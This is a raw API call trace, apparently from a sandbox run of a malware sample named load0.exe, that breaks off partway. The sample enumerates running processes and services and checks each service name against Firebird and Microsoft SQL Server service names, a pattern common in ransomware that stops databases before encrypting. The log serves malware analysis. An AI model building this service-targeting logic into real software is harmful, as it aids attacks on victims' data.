Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.281] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0268.281] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.282] lstrlenW (lpString="svchost.exe") returned 11 [0268.282] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.283] lstrlenW (lpString="svchost.exe") returned 11 [0268.284] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.285] lstrlenW (lpString="dwm.exe") returned 7 [0268.285] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.287] lstrlenW (lpString="svchost.exe") returned 11 [0268.287] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.289] lstrlenW (lpString="svchost.exe") returned 11 [0268.289] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.290] lstrlenW (lpString="svchost.exe") returned 11 [0268.290] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.291] lstrlenW (lpString="svchost.exe") returned 11 [0268.291] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.292] lstrlenW (lpString="svchost.exe") returned 11 [0268.292] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.293] lstrlenW (lpString="svchost.exe") returned 11 [0268.293] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.294] lstrlenW (lpString="svchost.exe") returned 11 [0268.294] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.295] lstrlenW (lpString="svchost.exe") returned 11 [0268.295] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.296] lstrlenW (lpString="svchost.exe") returned 11 [0268.296] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.297] lstrlenW (lpString="svchost.exe") returned 11 [0268.297] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.298] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.298] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.299] lstrlenW (lpString="svchost.exe") returned 11 [0268.299] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.300] lstrlenW (lpString="audiodg.exe") returned 11 [0268.300] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0268.301] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0268.301] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0268.302] lstrlenW (lpString="Memory Compression") returned 18 [0268.302] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0268.303] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0268.303] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.386] lstrlenW (lpString="sihost.exe") returned 10 [0268.386] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.387] lstrlenW (lpString="svchost.exe") returned 11 [0268.387] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.388] lstrlenW (lpString="taskhostw.exe") returned 13 [0268.388] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0268.389] lstrlenW (lpString="msoia.exe") returned 9 [0268.389] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.389] lstrlenW (lpString="explorer.exe") returned 12 [0268.389] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.390] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0268.390] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.391] lstrlenW (lpString="SearchUI.exe") returned 12 [0268.391] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.392] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0268.392] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.392] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0268.393] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0268.393] lstrlenW (lpString="load0.exe") returned 9 [0268.393] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.394] lstrlenW (lpString="dllhost.exe") returned 11 [0268.394] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.395] lstrlenW (lpString="dllhost.exe") returned 11 [0268.395] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0268.395] lstrlenW (lpString="load0.exe") returned 9 [0268.396] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0268.396] CloseHandle (hObject=0x1104) returned 1 [0268.396] Sleep (dwMilliseconds=0x1f4) [0268.969] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64898 [0268.970] EnumServicesStatusExW (in: hSCManager=0x3f64898, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0268.970] GetLastError () returned 0xea [0268.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x6e07d8 [0268.971] EnumServicesStatusExW (in: hSCManager=0x3f64898, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e07d8, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e07d8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0268.971] CloseServiceHandle (hSCObject=0x3f64898) returned 1 [0268.972] lstrlenW (lpString="Appinfo") returned 7 [0268.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.972] lstrlenW (lpString="AppXSvc") returned 7 [0268.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0268.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0268.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0268.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0268.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0268.973] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.973] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.973] lstrlenW (lpString="Audiosrv") returned 8 [0268.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0268.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0268.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0268.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0268.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0268.973] lstrlenW (lpString="BFE") returned 3 [0268.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.974] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.974] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0268.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.974] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0268.974] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0268.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0268.974] lstrlenW (lpString="CDPSvc") returned 6 [0268.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0268.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0268.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0268.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0268.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0268.974] lstrlenW (lpString="ClickToRunSvc") returned 13 [0268.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0268.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0268.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0268.975] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0268.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0268.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0268.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0268.975] lstrlenW (lpString="CryptSvc") returned 8 [0268.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.975] lstrlenW (lpString="DcomLaunch") returned 10 [0268.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.976] lstrlenW (lpString="DeviceAssociationService") returned 24 [0268.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0268.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0268.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0268.977] lstrlenW (lpString="Dhcp") returned 4 [0268.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.977] lstrlenW (lpString="Dnscache") returned 8 [0268.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.977] lstrlenW (lpString="DPS") returned 3 [0268.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.977] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.978] lstrlenW (lpString="DusmSvc") returned 7 [0268.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0268.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0268.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0268.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0268.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0268.978] lstrlenW (lpString="EventLog") returned 8 [0268.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0268.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0268.978] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0268.978] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0268.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0268.979] lstrlenW (lpString="EventSystem") returned 11 [0268.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.979] lstrlenW (lpString="FontCache") returned 9 [0268.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0268.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0268.979] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0268.979] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0268.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0268.979] lstrlenW (lpString="gpsvc") returned 5 [0268.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.979] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.979] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.980] lstrlenW (lpString="iphlpsvc") returned 8 [0268.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.981] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0268.981] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0268.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0268.981] lstrlenW (lpString="KeyIso") returned 6 [0268.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0268.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0268.981] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0268.981] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0268.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0268.981] lstrlenW (lpString="LanmanServer") returned 12 [0268.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0268.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0268.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0268.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0268.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0268.982] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.982] lstrlenW (lpString="lfsvc") returned 5 [0268.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0268.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0268.982] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0268.982] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0268.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0268.982] lstrlenW (lpString="lmhosts") returned 7 [0268.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.983] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.983] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.983] lstrlenW (lpString="LSM") returned 3 [0268.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0268.983] 